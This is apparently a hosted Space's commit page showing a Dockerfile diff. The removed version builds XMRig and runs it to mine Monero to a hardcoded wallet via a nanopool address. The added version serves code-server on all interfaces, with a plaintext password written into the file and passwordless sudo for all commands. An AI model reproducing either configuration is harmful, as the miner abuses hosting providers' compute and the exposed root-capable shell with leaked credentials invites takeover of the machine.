Spaces:
Paused
Paused
Update Dockerfile
Browse files- Dockerfile +20 -32
Dockerfile
CHANGED
|
@@ -1,38 +1,26 @@
|
|
| 1 |
-
# Use the
|
| 2 |
-
FROM
|
| 3 |
|
| 4 |
-
# Set
|
| 5 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 6 |
|
| 7 |
-
# Install
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
git \
|
| 11 |
-
build-essential \
|
| 12 |
-
cmake \
|
| 13 |
-
libuv1-dev \
|
| 14 |
-
libssl-dev \
|
| 15 |
-
libhwloc-dev
|
| 16 |
|
| 17 |
-
#
|
| 18 |
-
RUN
|
|
|
|
| 19 |
|
| 20 |
-
#
|
| 21 |
-
|
| 22 |
|
| 23 |
-
#
|
| 24 |
-
|
| 25 |
-
cmake .. && \
|
| 26 |
-
make -j$(nproc)
|
| 27 |
|
| 28 |
-
#
|
| 29 |
-
|
| 30 |
-
EXPOSE 10343
|
| 31 |
-
|
| 32 |
-
# Set the default environment variables
|
| 33 |
-
ENV WALLET_ADDRESS=46hkUW5558rbUX2wtg5cE2UwErru229jWLLcc6197HsYckLqNoRdJFKADW84YLaKjCR8xG8TJy93rT6wcn82aXREUTAhVJ9
|
| 34 |
-
ENV POOL_URL=xmr-asia1.nanopool.org
|
| 35 |
-
ENV STRATUM_PORT=10300
|
| 36 |
-
|
| 37 |
-
# Command to run XMRig with the provided wallet address and pool details
|
| 38 |
-
CMD ["./xmrig", "-o", "ssl://xmr-asia1.nanopool.org:10343", "-u", "${WALLET_ADDRESS}", "-p", "x", "-k", "--tls"]
|
|
|
|
| 1 |
+
# Use the official code-server image as the base
|
| 2 |
+
FROM codercom/code-server:latest
|
| 3 |
|
| 4 |
+
# Set environment variables
|
| 5 |
+
ENV PASSWORD=yugam786@
|
| 6 |
+
ENV CODE_SERVER_PORT=8080
|
| 7 |
+
ENV USERNAME=coder
|
| 8 |
+
ENV USER_UID=1000
|
| 9 |
+
ENV USER_GID=1000
|
| 10 |
|
| 11 |
+
# Install sudo and other necessary packages
|
| 12 |
+
USER root
|
| 13 |
+
RUN apt-get update && apt-get install -y sudo
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 14 |
|
| 15 |
+
# Create a user with sudo privileges
|
| 16 |
+
RUN adduser --disabled-password --gecos "" --uid $USER_UID --gid $USER_GID $USERNAME \
|
| 17 |
+
&& echo "$USERNAME ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers.d/nopasswd
|
| 18 |
|
| 19 |
+
# Switch back to the non-root user
|
| 20 |
+
USER $USERNAME
|
| 21 |
|
| 22 |
+
# Expose the port where code-server will run
|
| 23 |
+
EXPOSE ${CODE_SERVER_PORT}
|
|
|
|
|
|
|
| 24 |
|
| 25 |
+
# Start code-server with the desired settings
|
| 26 |
+
CMD ["code-server", "--bind-addr", "0.0.0.0:8080", "--auth", "password"]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|